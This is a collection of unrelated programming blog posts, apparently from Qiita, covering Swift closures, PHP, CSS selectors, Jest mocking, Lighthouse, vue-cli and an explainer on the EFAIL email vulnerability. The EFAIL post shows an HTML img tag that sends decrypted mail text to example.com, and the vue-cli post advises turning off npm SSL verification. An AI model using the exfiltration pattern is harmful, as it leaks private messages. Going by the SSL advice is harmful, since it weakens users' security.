You may think "ouuuhh Retain Cycle Problem ?To make it easy to understand , you just think about the memory leak in your application. What is memory leak? In swift , there is an automatic memory management which it deallocate the object from the memory automatically but there is time which the automatic memory management could not deallocate the object and that cause the retain cycle problem. There are many way that cause that memory leak problem and by using <b> closure </b> is one of them.

##<b>III."OK SO WHAT IS [WEAK SELF] & [UNOWNED SELF]?"
We use [weak self] and [unowned self] to solve the memory leak which cause by the closure. For example

```swift
class Example {

    private var counter = 0
    private var closure : (() -> ()) = { }
    
    init() {
        closure = {
            self.counter += 1     <= this self will make a memory leak
            print(self.counter)
        }
    }
    
    func foo() {
        closure()
    }
    
}
```
To solve the above problem we can use [unowned self] & [weak self]
###[UNOWNED SELF]

```swift
class Example {

    private var counter = 1
    
    private var closure : (() -> ()) = { }
    
    init() {
        closure = { [unowned self] in
            self.counter += 1
            print(self.counter)
        }
    }
    
    func foo() {
        closure()
    }
}
```
Now the closure doesn't have a strong reference anymore. Just be careful when using [unowned self] since that, if the object has already been deallocated when the closure is called, a crash will occur.

###[WEAK SELF]

```swift
class Example {

    private var counter = 1
    
    private var closure : (() -> ()) = { }
    
    init() {
        closure = { [weak self] in
            self?.counter += 1 //
            print(self?.counter ?? "")
        }
    }
    
    func foo() {
        closure()
    }
    
}
```
[weak self] achieves the same result as [unowned self] but is handled as an optional.

Yes that's it. for more detail and reference.
https://medium.com/mackmobile/avoiding-retain-cycles-in-swift-7b08d50fe3ef
CakePHP 3にてAuthComponent使用中、指定のアクションを公開する方法


### 前提
- src\Controller\Hoge\AppController.phpにてAuthコンポーネントを有効にしている


````HogeController.php
<?php
namespace App\Controller\Hoge;

use App\Controller\Hoge\AppController;
use Cake\Event\Event;

class HogeController extends AppController
{
    /**
     * beforeFilter method
     * 
     * @param Event $event
     * @return void
     */
    public function beforeFilter(Event $event)
    {
        // testアクションを公開する
        $this->Auth->allow('test');

        // test、test2アクションを公開する
        $this->Auth->allow(['test', 'test2']);
    }

    public function test() { }
    public function test2() { }
}

```
bitstream parsing error

`AVComposition`を使用している際に遭遇した。

`{JVTLib_100001::JVTLib_100006} bitstream parsing error!!!!!!!!!!!!!!`

![gif.gif](https://qiita-image-store.s3.amazonaws.com/0/69561/f60c1ac4-0d86-48b4-59a1-9eb0b9e1dcaf.gif)

シュミレーターでのみ発生している。実機では問題ない。
【swift4.1】複数のProtocolを継承しているProtocolへのConditional Conformance

何気なく書いていて知らなかったことに気がついたので忘れないようにメモします。

## 経緯

下記のようなprotocolに適合したValueを持つstructを定義します。

```Swift
protocol Identifiable {
    associatedtype RawIdentifier: Codable = String
    var id: Identifier<Self> { get }
}

struct Identifier<Value: Identifiable> {
    let rawValue: Value.RawIdentifier
    init(rawValue: Value.RawIdentifier) {
        self.rawValue = rawValue
    }
}
```

これを文字列から初期化できるようにExpressibleByStringLiteralに適合しようとします。

```Swift
extension Identifier: ExpressibleByStringLiteral
where Value.RawIdentifier == String {
    
    typealias StringLiteralType = String
    
    init(stringLiteral value: String) {
        rawValue = value
    }
}
```

そうすると下記のようなエラーが出ます。

```Swift
error: test3.playground:9:1: error: type 'Identifier<Value>' does not conform to protocol 'ExpressibleByExtendedGraphemeClusterLiteral'
extension Identifier: ExpressibleByStringLiteral
^
```

※ExpressibleByStringLiteralはExpressibleByExtendedGraphemeClusterLiteralを継承し、ExpressibleByExtendedGraphemeClusterLiteralは
ExpressibleByUnicodeScalarLiteralを継承しています。

「あれConditional Conformanceは？」と思ったのですが、下記に記載がありました。
[https://github.com/apple/swift-evolution/blob/master/proposals/0143-conditional-conformances.md#implied-conditional-conformances](https://github.com/apple/swift-evolution/blob/master/proposals/0143-conditional-conformances.md#implied-conditional-conformances)
[https://forums.swift.org/t/conditional-conformance-with-protocol-inheritance/11262/11](https://forums.swift.org/t/conditional-conformance-with-protocol-inheritance/11262/11)
[https://forums.swift.org/t/amending-se-0143-conditional-conformances-dont-imply-other-conformances/11017/2](https://forums.swift.org/t/amending-se-0143-conditional-conformances-dont-imply-other-conformances/11017/2)


いまいち全体の要領がつかめなかったのですが、議論の中で出てきている

```
the heart of the issue is 
that you may not have more than one extension 
that conforms a type to a particular protocol. 
Otherwise it’s ambiguous 
which versions of the protocol methods should be called 
when you invoke protocol methods on that type.
```

から、
「適用できるメソッドが複数ある場合、コンパイラーが何を選べばいいのわからない」ということのようです。(合っているのでしょうか？)


## 結論

下記のようにProtocolを明示して、typealiasを追加することでエラーは解消されました。

```Swift
extension Identifier: ExpressibleByStringLiteral, ExpressibleByExtendedGraphemeClusterLiteral, ExpressibleByUnicodeScalarLiteral
where Value.RawIdentifier == String {
    
    typealias ExtendedGraphemeClusterLiteralType = String
    typealias UnicodeScalarLiteralType = String
    typealias StringLiteralType = String
    
    init(stringLiteral value: String) {
        rawValue = value
    }
}
```

一つ勉強になりました。

## 補足

上記の実装は
https://www.swiftbysundell.com/posts/type-safe-identifiers-in-swift
の内容を色々触っていたときに気がつき、著者の[@johnsundell](https://twitter.com/johnsundell)さんにもTwitterで聞いてみたところ必要だとの回答をもらいました。
加えて、元々ExtendedGraphemeClusterLiteralTypeとUnicodeScalarLiteralTypeのinitメソッドも追加していたのですが、typealiasだけで良いということも教えてもらいました:smiley:
【PHP】ループ構文「while」「for」「do-while」「foreach」の書き方【初心者】

##PHP初心者のためのloop構文の書き方
今回は、自分の勉強がてら４種類のループ構文「while」「for」「do-while」「foreach」の書き方を解説します。

```php:loop.php

<!DOCTYPE html>
<html lang="ja">
<head>
	<meta charset="UTF-8">
	<title>PHPの繰り返し構文</title>
</head>
<body>
	<div>
		<?php 

		echo "while構文: ";
		// その繰り返しのコードを実行する前に条件式を評価し、その式が満たされなければループを抜ける

		// 最初の値:5
		$value =5;
		// $valueが0より大きい限り、条件式を実行
		while ($value > 0) {
			echo $value.' ';
			// $valueの値を一つづつ小さく
			$value--;
		}
		// 出力：while構文:5 4 3 2 1 

		echo "<br>for構文: ";
		// １．初期値式は、繰り返し処理を行う前に必ず1回だけ実行され、その値に基づいて条件式で評価される
		// ２．その値がtrueならば、カッコ{ }のブロック内の処理スクリプトを実行
		// ３．処理が終わったら増減式で初期値の値を増やしたり減らしたりする

		for ($value=0; $value < 3; $value++) { 
			echo "value"." ";
		}
		// 出力：for構文:value value value

		echo "<br>do-while構文: ";
		// 処理を最初に行ってから条件式を評価する
		// つまり、処理スクリプトにかかわらず最低１回は実行される
		// 最初に必ず一度は処理を実行したい場合の繰り返し処理に向いた制御構文
		// 初期値:5
		$value = 5;
		do {
			echo $value." ";
			$value--;
		} while ($value > 10);
		// 出力：do-while構文: 5

		echo "<br>foreach構文: ";
		// 指定した配列の要素を一つづつ抜き取って処理。
		// 対応している関係:'apple'($key) => 100($value)
		$fruit = array('apple' => 100, 'grape' => 300, 'orange' => 150, );
		foreach ($fruit as $key => $value) {
			echo $key."は".$value."円 ";
		}
		// 出力：foreach構文: appleは100円 grapeは300円 orangeは150円

		 ?>
	</div>
</body>
</html>
```

###参考書籍
PHP逆引き辞典
Python3 で Google Datastore のデータを作成 (Create)

Google Datastore に次のようなデータを作成するプログラムです。
![datastore_may1801.png](https://qiita-image-store.s3.amazonaws.com/0/179446/4b287228-b45d-8b07-cc94-b02357677cf8.png)

```py:datastore_create.py
#! /usr/bin/python
#
#	datastore_create.py
#						May/18/2018
# ------------------------------------------------------------------
from gcloud import datastore
import sys
import	datetime
# ------------------------------------------------------------------
def add_data_proc(client,name,name_city,population):
	sys.stderr.write("name = " + name + "\n")
	kind = 'Cities'
	key = client.key(kind,name)

	task = datastore.Entity(key)

	task.update({
		'name_city': name_city,
		'population': population,
		'date_mod': datetime.datetime.utcnow()
		})

	client.put(task)

	return task.key

# ------------------------------------------------------------------
sys.stderr.write("*** start ***\n")

try:
	project_id = "my-project-aug-29-2016"
	client = datastore.Client(project_id)
except Exception as ee:
	sys.stderr.write("*** error *** in datastore.Client ***\n")
	sys.stderr.write(str(ee) + "\n")
#
sys.stderr.write("*** bbb ***\n")
add_data_proc(client,'t0921','宇都宮', 38921)
add_data_proc(client,'t0922','小山', 56413)
add_data_proc(client,'t0923','佐野', 92385)
add_data_proc(client,'t0924','足利', 39546)
add_data_proc(client,'t0925','日光', 18492)
#
#
sys.stderr.write("*** end ***\n")
#
# ------------------------------------------------------------------
```

実行コマンド

```bash
export GOOGLE_APPLICATION_CREDENTIALS="/home/uchida/my_project_Aug29-2016-4363ff6a1234.json"
./datastore_create.py
```
Drone.ioのSlack通知でauthorにmentionを飛ばす

目的：Droneが自動テストしてくれていることを極力忘れつつも、バグを仕込んだときには肩を叩いてほしい

:thinking: DroneのWebUIをいちいち見ているのではCLIでテストするのとそう変わりない
→ :bulb: Slack通知プラグインを使おう
→ :innocent: 結局は通知先のチャンネルを確認しないと意味がない

ということで、失敗時にSlack上でmentionしてもらえるように設定します。メッセージ中の author 表示部に `@` が付くイメージです。

[公式ドキュメント](http://plugins.drone.io/drone-plugins/drone-slack/) に custom message template についての説明があるので、これを参考に以下のように `template:` を設定してみました。

```yaml
pipeline:
  test:
    # ...
  slack:
    image: plugins/slack
    channel: drone
    secrets: [ slack_webhook ]
    when:
      status: [ success, failure ]
    template: |
      *{{build.status}}* <{{build.link}}|{{repo.owner}}/{{repo.name}}#{{build.number}}> ({{build.branch}} {{truncate build.commit 8}}) by {{#success build.status}}{{build.author}}{{else}}<@{{build.author}}>{{/success}}
```

`<@{{build.author}}>` という箇所でmentionを飛ばしていますが、この設定では commit author がSlack上での自分のアカウント名になるようにする必要があります。それができない場合は、特定のアカウント名をハードコーディングするか `<!everyone>` としてチャンネル全体に通知してしまいましょう。

![drone-slack.png](https://qiita-image-store.s3.amazonaws.com/0/16439/aea52715-c544-1890-0570-e8772ded2b3f.png)

とても快適になりました :sparkles:
EFAILで暗号文が復号されるわけ

#はじめに
[EFAIL](https://efail.de)という脆弱性が発見されたようです。
メールに関する脆弱性です。

なんでも，PGPやらS/MIMEなどで暗号化されていたメールが
復号されてしまうんだとか。

これらの暗号化は共通鍵暗号方式ですので，
秘密鍵が漏れない限りは暗号文を複合できないはずです。

NSAかどこかが超強力な暗号解読機でも未来から持ってきたのでしょうか。
それはもはや脆弱性どころの騒ぎじゃありません。httpsなんか使ってられません。
~~というか早くタイムパトロール呼んだほうがいいです。~~

そんな話はさておき，本当のところ何が悪さしているのでしょうか。
EFAILのメカニズムを非常に大雑把にまとめました。


#EFAILのメカニズム
この脆弱性を使った攻撃のストーリーには3人の登場人物が出てきます。

- 被害者
- 脆弱なメールソフト（メールクライアント）
- 攻撃者（悪い人）

これらの人がどのような行動をするのか，
順を追って見ていきましょう。

###被害者によるメール送信
まず被害者は脆弱なメールソフトを使って，誰かにメールを送信します。
メールの内容は大事な情報ですので，もちろん暗号化します。

大雑把ですが，メールソフトは以下のような処理をします

「Secret」（平文）　⇒　「M1^9@m%,fjU$]a」（暗号文）

そして暗号文を相手のメールソフトが復号して，
「盗聴されても内容はばれませんでした。めでたしめでたし」となるわけです。


###攻撃者による攻撃
ここで攻撃者が登場します。
攻撃者は何らかの方法を用いて「M1^9@m%,fjU$]a」という暗号文を入手します。
そして，被害者に向けて次のようなタグを含むHTMLメールを送信するのです。

```html
<img src="http://example.com/image.php?ango=M1^9@m%,fjU$]a">
```


###脆弱なメールソフトを使う被害者の結末
まずこの攻撃が成立するには，メールソフトが
**Webビーコン**への対策がされていない必要があります。

さらに，暗号文を勝手に復号してしまうという実装がされている必要があります。
暗号文を見て「あ，それ解けるー！」と復号してしまうお粗末なメールソフトです。

なので，

```html
<img src="http://example.com/image.php?ango=M1^9@m%,fjU$]a">
```

という文を

```html
<img src="http://example.com/image.php?ango=secret">
```

と勝手に復号するのです。
そして，Webビーコンに対して脆弱ですから，example.comに画像を要求することになります。
画像を要求する際のクエリストリングには，お粗末なメールソフトが
わざわざ復号してくれたメール本文が含まれていますから，
あとは保存するなり，個人情報のDBを作るなり攻撃者の勝手です。


###まとめ
なので，この攻撃を要約すると

    1. 被害者の送信した暗号文を攻撃者が入手する
    2. 攻撃者は<img>のソースとして1. を含むHTMLメールを被害者宛に送信する
    3. 被害者のメールソフトはうっかりして復号したURLでリクエストを送信してしまう
    4. 攻撃者はメール原文を手に入れる

ということになります。


#対策方法
以上より，この攻撃への有効な対策は

**お粗末なメールソフトを使わないこと**　と
**PGPやらを削除して送信する**　ことです。

そもそもこれらを設定できないメールソフトを
使わなければよい　ということになります。


#終わりに
今回，EFAILのダイレクトエクスフィルトレーションについて
非常に大雑把に解説しました。

本当はもっと多くの要因が関係していますし，
他の攻撃方法も含まれています。

最低限の内容を書いたつもりですが，
Qiitaには公式Webの日本語訳も出ていましたから，
「この日本語はおかしい」と思った方はどうぞそちらを。

長ったらしくなりましたが，最後までお読みくださりありがとうございました！
Unity// Trail Rendererの使い方

#Trail Rendererとは

Trail RendererはComponentです
Trail Rendererが入っているオブジェクトの位置を動かした時に、
その軌跡を描くことができます

<img width="373" alt="スクリーンショット 2018-05-18 5.51.52.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/e1566b9a-c42b-86ed-5eb0-d69e4fefed55.png">

##使い方
<img width="307" alt="スクリーンショット 2018-05-18 5.53.18.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/e6315ab7-aaf8-31e0-dd76-d676050fd776.png">
--
**Materials**
- Size
値の数だけElement()の配列を用意する
- Element()
線の模様を代入する入れもの

<img width="377" alt="スクリーンショット 2018-05-18 6.13.46.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/309ee8b5-2f28-64ce-c153-81dbe57a7b48.png">
--
**Time**
軌跡の寿命( 秒単位 )
値の時間を経過すると後ろから消えていく

---
**Min Vertex Distance**
線は長方形のテキストが継続して生成されることによって描かれています
１つ１つの長方形はオブジェクトの加速度により長さが変化します
この値は、その長方形の最短の長さを設定するものです

- Min Vertex Distance = 0.1

<img width="377" alt="スクリーンショット 2018-05-18 6.13.46.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/f5b7bdd6-c2be-1020-1e02-f1aa30f45a2b.png">


- Min Vertex Distance = 3

<img width="375" alt="スクリーンショット 2018-05-18 6.31.51.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/f68f4636-3ff3-b885-104c-aa6b1ab455a3.png">

上記を見るとわかりやすいでしょう
曲線を描くときは、値がより細かい方が滑らかな線を引けます

---
**Width**
線の幅を決める数値

---
**Graph**
<img width="301" alt="スクリーンショット 2018-05-18 6.42.34.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/fcc30ff6-5f68-3493-3194-b36ae7aad1a8.png">
先端←←←　　　　　　　　　　→→→末端

線の先端と末端の幅に変化をつけることができる

<img width="289" alt="スクリーンショット 2018-05-18 6.51.45.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/7f84fd2e-866f-0d8a-18a2-c57a64dfcb69.png">
↓↓↓
<img width="378" alt="スクリーンショット 2018-05-18 6.52.40.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/e3866895-744b-d032-f50a-ce255df7f922.png">
---
**Color**
軌跡の色を設定する

---
**Corner Vertices**
線を構成する長方形と長方形の間を保管できる（イメージはストローの曲がる部分とか）
その保管部分の細かさを決める値
<img width="374" alt="スクリーンショット 2018-05-18 7.04.03.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/8bdc7259-785e-3d28-742c-750e6a0eba87.png">
---
**End Cap Vertices**
線の末端の角を無くし、丸くできる
値は、その半円のポリゴンの数を設定するもの

- End Cap Vertices = 3

<img width="379" alt="スクリーンショット 2018-05-18 7.14.28.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/b440d242-7727-82a7-a911-61776c934f7e.png">
---
##使用例

・矢印の作成
<img width="167" alt="スクリーンショット 2018-05-18 7.18.32.png" src="https://qiita-image-store.s3.amazonaws.com/0/258067/208b3587-d43b-b3f7-4018-7d9f35b25d23.png">

・銃弾の軌跡を描画,,,等々
vue-cliでtemplateが落とせないときの対処法

# 結論
最終的には、offlineインストール。

# 事の起こり
テスト用のvueプロジェクトがほしくて、久々にvue-cliでプロジェクトを作ろうとしたら以下のようなエラーが発生。

```
> vue init webpack test

   vue-cli · Failed to download repo vuejs-templates/webpack: self signed certificate in certificate chain
```

色々調べたところSSL証明書の問題のようで、以下のコマンドでSSLの設定を変更

```
npm set strict-ssl false
```

再度実行。

```
> vue init webpack test

   vue-cli · Failed to download repo vuejs-templates/webpack: self signed certificate in certificate chain
```

だめでしたー。
その後もいろいろ調べたんですが、解決せず。

結局、テンプレートをローカルから持ってくるオフラインインストールで解決しました。
今更ですが、vue-cliは2系です。
3系は現在(2018/5/18)時点でBetaでオフラインインストールの機能もないようです。

# オフラインインストール
vue-cliの実行オプションとして`--offline`を付けるとローカルにあるテンプレートを使うことができます。
Linuxだとルート、Windowsだと`C:\Users\ユーザー名`の下の`.vue-templates\指定したテンプレート名`を見に行きます。
git cloneやダウンロードをして指定の場所においておけば、そのテンプレートを使ってvue-cliでプロジェクトを作ることができます。

```
> vue init webpack --offline test
```

# 最後に

```
vue-cli · Failed to download repo vuejs-templates/webpack: self signed certificate in certificate chain
```
これの対処法知ってる方いたら、教えてほしいです。
lighthouse v3 を触ってみた

そろそろ lighthouse の version3 が正式リリースされそうなので、alpha 版を触ってみました。

公式のマイグレーションガイドは[こちら](https://developers.google.com/web/tools/lighthouse/v3/migration)

v3 から json のフォーマットが色々変わっているので、注意が必要です。

## 変更メモ

大きな変更点は json のトップレベルに`lhr`が追加され、`audits`などは`lhr`配下に入りました。あとは細かいプロパティ名の変更などがあるので公式のマイグレーションガイドを参考にしたほうが良いと思います。

あとスコアが0~100だったのが、0~1に変わりました。

## スコア取得スクリプト

以下のようなスクリプトを Express などで実行することで、スコアのみの json を取得できます。

### スクリプトサンプル

```javascript
const lighthouse = require('lighthouse');
const chromeLauncher = require('chrome-launcher');

function launchChromeAndRunLighthouse(url, opts, config = null) {
  return chromeLauncher
    .launch({ chromeFlags: opts.chromeFlags })
    .then(chrome => {
      opts.port = chrome.port;
      return lighthouse(url, opts, config).then(results => {
        delete results.artifacts;
        delete results.report;
        return chrome.kill().then(() => {
          const scoreMap = Object.entries(results.lhr.audits).reduce(
            (acc, [key, a]) => {
              if (a.scoreDisplayMode === 'numeric') {
                return Object.assign({}, acc, { [key]: a.score });
              }
              return acc;
            },
            {}
          );

          const scoreCategories = Object.entries(results.lhr.categories).reduce(
            (acc, [key, a]) => {
              return Object.assign({}, acc, { [a.title]: a.score });
              return acc;
            },
            {}
          );

          return Object.assign(scoreCategories, scoreMap);
        });
      });
    });
}

const opts = {
  port: 0,
  autoSelectChrome: true, // False to manually select which Chrome install.
  chromeFlags: ['--headless', '--disable-gpu', '--no-sandbox']
};

// Usage:
module.exports = url => {
  return launchChromeAndRunLighthouse('https://' + url, opts);
};
```

### 結果 JSON

```json
{
  Performance: 0.41,
  "Progressive Web App": 0.45,
  Accessibility: 0.51,
  "Best Practices": 0.69,
  SEO: 1,
  "first-contentful-paint": 1,
  "first-meaningful-paint": 0.93,
  "speed-index": 0.07,
  "estimated-input-latency": 0.19,
  "first-cpu-idle": 0.72,
  interactive: 0.11,
  redirects: 1,
  "mainthread-work-breakdown": 0.34,
  "bootup-time": 0.51,
  "uses-rel-preload": 1,
  "uses-rel-preconnect": 0.65,
  "uses-long-cache-ttl": 0.01,
  "total-byte-weight": 0.77,
  "offscreen-images": 0,
  "render-blocking-resources": 1,
  "unminified-css": 1,
  "unminified-javascript": 0.9,
  "unused-css-rules": 1,
  "uses-webp-images": 0,
  "uses-optimized-images": 0,
  "uses-text-compression": 1,
  "uses-responsive-images": 0.65,
  "efficient-animated-content": 1,
  "dom-size": 0.03
}
```

## 参考

[lighthouse のスコアを CLI だけで確認する](https://qiita.com/mizchi/items/105308f44cb1cc18fa8a)
[heroku と Google スプレッドシートを使って、lighthouse の計測を毎日行う方法](https://qiita.com/takutakuma/items/236b23282148d007ece1)
本当に使えるnth-childまとめ


180520 追記 一部間違った記述があったので修正しました

## はじめに
数学に弱いコーダーはnが入って来ると計算がわからなくなります。

だったら最初から覚えずによく使うものはメモするといいです。

特にX〜Yまで、という指定はよく使うと思います。
なるべく指定は短く書きたいですね。

### 基本

#### X番目

全ての基本です。

```css:style.css
li:nth-child(X) {
    
}
```

#### 最初のみ

`first-child`もありますが、記述スピードは`(1)`は、
同じくらいだと思います。編集性を考えてこちらの記述がいいと思います。

```css:style.css
li:nth-child(1) {
    
}
```
#### 最後のみ

`last-child`は数が変わっても常に最後を指定し続けます。
便利です。使いましょう。

```css:style.css
li:last-child {
    
}
```

### X~Y

#### X番目以前（最初からX番目まで）

```css:style.css
li:nth-child(-n+X) {
    
}
```

#### X番目以降（X番目から最後まで） 

```css:style.css
li:nth-child(n+X) {
    
}
```
#### X番目からY番目まで

これが使えると、グッと記述が減らせます。
修正も楽ですよ。

```css:style.css
li:nth-child(n+X):nth-child(-n+Y) {
    
}
```
#### X番目以外全部

`not`が絡むとよくわからなくなるのは私だけでしょうか。

```css:style.css
li:not(:nth-child(X)) { 
	
}
```

### 偶数奇数

#### 偶数番目

`nth-child(even)`もありますが、そもそも`(2n)`の方が
早く書けるので使わなくていいです。

```css:style.css
li:nth-child(2n) {
	
}
```

#### 奇数番目

`nth=child(odd)`と`(2n-1)`、文字数はoddが少なくなりますが、後から変わった時の編集性を考えると`2n-1`がいいと思います。（たぶん）。
使い慣れれば、一目で奇数だな、とわかります。

```css:style.css
li:nth-child(2n-1) {
	
}
```

### ある条件の時、X番目からY番目を指定する

この辺を使えるようになると、記述をすごく減らせます。

#### X番目からY番目までの偶数ごとに

これも一行です。

```css:style.css
li:nth-child(2n)li:nth-child(n+X):nth-child(-n+Y) {
	
}
```
#### X個以上の時、全てを選択

```css:style.css
li:nth-last-child(n+X),
li:nth-last-child(n+X) ~ li {

}
```

#### X個以下の時、全てを選択

```css:style.css
li:nth-last-child(-n+X):first-child, 
li:nth-last-child(-n+X):first-child ~ li {
}
```
アニメ視聴予定をgoogleスプレッドシートに入力してgoogleカレンダーに反映させる。

はい。個人では久しぶりの更新。

参照先様
これは画期的！GoogleスプレッドシートからGoogleカレンダーにスケジュールを一括登録する方法
[http://hokoxjouhou.blog105.fc2.com/blog-entry-236.html](http://hokoxjouhou.blog105.fc2.com/blog-entry-236.html)

放映中のアニメ作品の情報を提供するAnime RESTful API サーバー作りました
[https://qiita.com/AKB428/items/64938febfd4dcf6ea698](https://qiita.com/AKB428/items/64938febfd4dcf6ea698)

自分のGoogleカレンダーIDを知る方法
[自分のGoogleカレンダーIDを知る方法](https://wpaso.wordpress.com/2012/11/10/%E8%87%AA%E5%88%86%E3%81%AEgoogle%E3%82%AB%E3%83%AC%E3%83%B3%E3%83%80%E3%83%BCid%E3%82%92%E7%9F%A5%E3%82%8B%E6%96%B9%E6%B3%95/)

この記事のスプレッドシート
[https://docs.google.com/spreadsheets/d/14JyrvyVdfNDRqmVN8WaB5D7NWIFCe6AyDIrTu9_GLho/edit?usp=sharing](https://docs.google.com/spreadsheets/d/14JyrvyVdfNDRqmVN8WaB5D7NWIFCe6AyDIrTu9_GLho/edit?usp=sharing)

↑のスプレッドシートは閲覧のみで編集権限はない(はず)なので、ご利用いただく際には個人のgoogleアカウントにコピーしてからご利用ください。また、このスプレッドシートは元々の開発者である冬木照さんになんの連絡も行っていないためにスプレッドシートとこの記事は予告なく削除することがあるかもしれません。

####＃改編点など
・主にアニメ関連の番組視聴を強い目的として、元々のスプレッドシートを改変しています。
・主にアニメのためにしかスケジュールを追加しないので入力シートでカレンダーを選択するというのはなくしています。
・カレンダーに反映済のものは入力リストに保存しないようにしました。
・アニメのタイトルを略称等でのブレを無くすために親切なサーバーから取得して、入力シートではプルダウンでアニメのタイトルを選べるようにしています。
・プレビュー用のカレンダーに追加して問題なさそうなら本番用のカレンダーに追加するという使い方を想定しています。
・スケジュールの場所 = 配信サイト をイメージしています。アニメリストシートのA列にネトフリやアマプラ、音泉などを追加することで入力シートのプルダウン選択に追加されます。
・配信が決まったサイクルのものは繰り返し追加出来るようにしました。追加タイプを指定することで毎週追加、単純な隔週、月一の同じ第●曜日に、初日に応じて第1,3か2,4曜日に追加できるようにしました。アニメ本編は大抵は毎週配信かと思いますが、声優ラジオなどは月一や月二だったりするかな、と。
・声優ラジオについてもタイトルなどをどこかから取得したいのですが対応方法はきまっていません。

操作方法などのスクリーンショットは週末に追加するかもしれません。

GASソース　
[https://gist.github.com/clarinet758/b78a823632b7a16c0b9ed7e6e9b02222](https://gist.github.com/clarinet758/b78a823632b7a16c0b9ed7e6e9b02222)
Jestで非公開関数をモック化したい

Jestでユニットテストを書くときにrewire.jsで非公開関数をモック化したら出来なかったので、解決策をメモとして残しておきます。

nodejsのバージョン: v9.2.1

## ダメな例

テスト対象の実装

```javascript:api-util.js
const promisify = require('util').promisify
const request = promisify(require('request'))
const cheerio = require('cheerio')

const getPageTitle = async (url) => {
    const res = await request(url)
    const $ = cheerio.load(res.body)
    return $('title').text()
}

module.exports = {
    getLowerTitle: async (url) => {
        const title = await getPageTitle(url)
        return title.toLowerCase()
    }
}
```

テストコード

```javascript:api-util.test.js
const rewire = require('rewire')

test('ページタイトルが小文字で取得できること', () => {
    const apiUtil = rewire('./api-util')
    const getPageTitleMock = jest.fn(apiUtil.__get__('getPageTitle')).mockResolvedValue('Google')

    apiUtil.__set__({
        getPageTitle: getPageTitleMock
    })

    console.log(apiUtil.getPageTitle)

    expect(apiUtil.getLowerTitle('https://xxxxx.co.jp')).resolves.toBe('google')
})
```

テストを実行したら`Assignment to constant variable`のエラーが発生しました。
`mocha`では発生しなかったのですが、`Jest`だとエラーが発生していまいます。

```zsh
$ npx jest api-util.test.js
 FAIL  ./api-util.test.js
  ✕ ページタイトルが小文字で取得できること (1186ms)

  ● ページタイトルが小文字で取得できること

    TypeError: Assignment to constant variable.

      at eval (eval at __set__ (api-util.js:82:5), <anonymous>:1:14)
      at Object.__set__ (api-util.js:82:5)
      at Object.<anonymous>.test (api-util.test.js:7:13)
```

## 解決策
[speedskater/babel-plugin-rewire](https://github.com/speedskater/babel-plugin-rewire) を使うことで解決できました。

```
$ npm install babel-plugin-rewire
```

`.babelrc`に以下の内容を追記します。

```javascript:.babelrc
{
  "env": {
    "test": {
      "plugins": ["rewire"]
    }
  }
}
```

`babel-plugin-rewire`は　`rewire`と同じ`__set__`と`__get__`のインターフェースをサポートしているので、同じようにテストコード書くことができます。
また`rewire`と比較しても、モジュール読み込みは`require`で読み込めばよいので、少しだけスッキリします。

```javascript:api-util.test.js
test('ページタイトルが小文字で取得できること', () => {
    const apiUtil = require('./api-util')
    const getPageTitleMock = jest.fn(apiUtil.__get__('getPageTitle')).mockResolvedValue('Google')

    apiUtil.__set__({
        getPageTitle: getPageTitleMock
    })

    expect(apiUtil.getLowerTitle('https://xxxxx.co.jp')).resolves.toBe('google')
})
```
[Ruby]minitestの基本

## minitestとは
Rubyのテスティングフレームワーク
[GitHub](https://github.com/seattlerb/minitest)
[rdoc](http://docs.seattlerb.org/minitest/)
## インストール
```shell
$ gem install minitest
```
## テストコード
テスト対象

```ruby:calc.rb
def add(a, b)
  a + b
end

def subtract(a, b)
  a - b
end

def multiply(a, b)
  a * b
end

def divide(a, b)
  a / b
end
```
テストコード
Minitestは「test_」で始まるメソッドを順次実行する。

```ruby:calc_test.rb
require 'minitest/autorun'
require './lib/calc'

class CalcTest < Minitest::Test
  def test_add
    assert_equal 3, add(1, 2)
  end

  def test_subtract
    assert_equal 1, subtract(2, 1)
  end

  def test_multiply
    assert_equal 2, multiply(1, 2)
  end

  def test_divide
    assert_equal 2, divide(4, 2)
  end
end
```

## 実行結果
```shell
# Running:

....

Finished in 0.000907s, 4410.1437 runs/s, 4410.1437 assertions/s.
4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
```
bundle execについて

<h2 id="Rubyの開発者を目指し基礎を学んでいる:relaxed:">Rubyの開発者を目指し基礎を学んでいる:relaxed:初心者の私がつまづいたところを簡単にまとめてみました。</h2>


<p>つまづいたところ:runner_tone3:(May 18 days)</p>
<ul>
<li>bundle exec rails s</li>
</ul>

<h2>
<span id="code---コードの挿入" class="fragment"></span><a href="#code---%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E6%8C%BF%E5%85%A5"><i class="fa fa-link"></i></a>bundle exec rails s</h2>
<p><strong>こ</strong>のコマンドで躓いた人、あるいは引っかかった人、いると思います。私がそうだったので。
  railsでサーバを起動するときに
  rails s
 bundle exec rails s
とある
サーバについて細かいことは分からないが
localhost3000を参照している。<br>
前提としてサーバは一台しか起動できない<br>
⇨ここはなぜかはある程度しる必要があるが無知な自分を恨む:baby_tone1:<br>
サーバを起動するときはポートは分ける必要がある事は何となく分かっていて、ポートを分ければいんじゃね？と思ったがrails自身に影響があるらしい<br>
bundle execが何をしているのか？を知る必要がある。
</p>

source: <https://teratail.com/questions/62084>


<h2>
<span id="code---コードの挿入" class="fragment"></span><a href="#code---%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E6%8C%BF%E5%85%A5"><i class="fa fa-link"></i></a>まとめ</h2>
<li id="fn2">
<p>「bundle execとつけて実行すると，そのRailsプロジェクトのGemfileで指定された環境で実行する事ができるようになる。」 
<p>今後もアウトプットの機会を増やしていきたい。:imp:
</li>